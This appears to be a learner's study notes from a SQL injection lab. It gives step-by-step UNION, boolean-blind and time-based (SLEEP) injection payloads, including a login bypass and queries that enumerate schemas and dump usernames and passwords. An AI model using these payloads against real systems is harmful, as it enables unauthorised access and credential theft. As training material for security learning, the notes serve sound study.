Using SQL language structure and abuse, it's vulnerable string queries (if someone still uses them).
It's when SQL queries' results are given to us, very easy to evade with addition or UNION:
UNION SELECT 1,2,3,.., -- depends of the number of columns
But sometimes the results are limited to e.g. one, so by using some built-ins we can add to our results another tables.
Let's start with getting the database name:
UNION SELECT 1,2,...,database()
Next, let's get all the tables (sqli_one is used as our DB name):
UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
Now let's get the info about columns in e.g. users table:
UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'
And with that, let's get all users:
UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM users
Now something harder: we do not see the results.
This is quite easy, we just have to provide something, as It'll be the sign our password matches.
-- let's say this is our original query
select * from users where username='%username%' and password='%password%' LIMIT 1;
-- Now let's add: "' OR 1=1;--" to our password, which will turn our into:
select * from users where username='%username%' and password='' OR 1=1;-- LIMIT 1
-- Because 1=1 is always true, it'll always return the result, meaning we know the password!
Now if we only knew if the query returned something, we'd have to effectively enumerate for a database, table, column and finally: data.
-- Firstly, let's figure out the number of columns, which is rather easy
UNION SELECT 1,2,3;--
-- Now the guessing begins! Until we get the DB name we use % wildcard
UNION SELECT 1,2,3 where database() like 's%';--
-- Next comes the table
UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_one' and table_name like 'a%';--
-- Columns, one by one
UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';--
-- And finally: the data we want e.g. usernames and passwords
UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';--
It's pretty much the same as above, but we do not get anything. So we can figure it out by the query execution's time:
-- Just add sleep as one of the columns
UNION SELECT SLEEP(5),2;--
Payload forces a DB to send the results to the attacker's machine.